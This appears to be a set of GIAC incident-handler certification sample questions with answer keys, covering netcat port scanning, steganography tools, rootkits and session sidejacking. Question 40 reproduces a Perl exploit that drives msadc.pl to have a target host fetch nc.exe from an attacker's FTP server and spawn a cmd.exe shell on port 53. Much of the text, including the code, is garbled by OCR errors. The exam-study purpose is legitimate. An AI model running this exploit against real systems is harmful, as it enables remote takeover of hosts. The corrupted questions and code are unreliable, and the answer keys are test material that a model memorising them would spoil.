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GIAC Certified Incident Handler Sample Questions (Q38-Q43):

NEW QUESTION # 38
OutGuess is used for attack.

A. Web password cracking
B. Steganography

C. SQL mjection

D. Man-in-the-middle

Answer: B

NEW QUESTION # 39
‘Which of the following commands can be used for port scanning?

A.nc -t

B.nc-w
C.nc-z
D.nc-g

Answer: C

NEW QUESTION # 40
Adam, a malicious hacker performs an exploit, which is given below:

$port = 53;

# Spawn cmd.exe on port X

$your ="192.168.1.1"# Your FTP Server 89
$user = "Anonymous";# login as

$pass = 'noone@nowhere.com';# password

$host = $ARGV[0];

print "Starting ...\n'";

print "Server will download the file nc.exe fiom $your FTP server.\n"; system("per]l msadc.pl -h

$host -C \"echo

open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("per] msadc.pl -h

$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C
\"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host - C \"echo get hacked. htmP>>sasfile\""); system("perl msadc.pl -h
$host -C \"echo quit>>sasfile\""); print "Server is downloading ...

\n'y

system("per] msadc.pl -h $host -C \"fip \-s\:sasfile\""); print "Press ENTER when download is finished ...

(Have a fip server)\n';

$o=; print "Opening ...\n'";

system("per] msadc.pl -h $host -C \"nc -1-p $port -e cmd.exe\"™); print "Done.\n'"; #system("telnet

Shost $port™); exit(0);

Which of'the following is the expected result of the above exploit?
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A. Opens up a telnet listener that requires no username or password
B. Creates an FTP server with write permissions enabled

C. Opens up a SMTP server that requires no username or password
D. Creates a share called "sasfile" on the target system

Answer: A

NEW QUESTION # 41
Which of the following rootkits adds additional code or replaces portions of an operating system, including both the
kernel and associated device drivers?

A. Boot loader rootkit
B. Hypervisor rootkit
C. Kernel level rootkit
D. Library rootkit

Answer: C

NEW QUESTION # 42
In which of the following methods does an hacker use packet sniffing to read network traffic between two parties to steal the session
cookies?

A. Physical accessing
B. Session fixation

C. Cross-stte scripting
D. Session sidejacking

Answer: D

NEW QUESTION # 43
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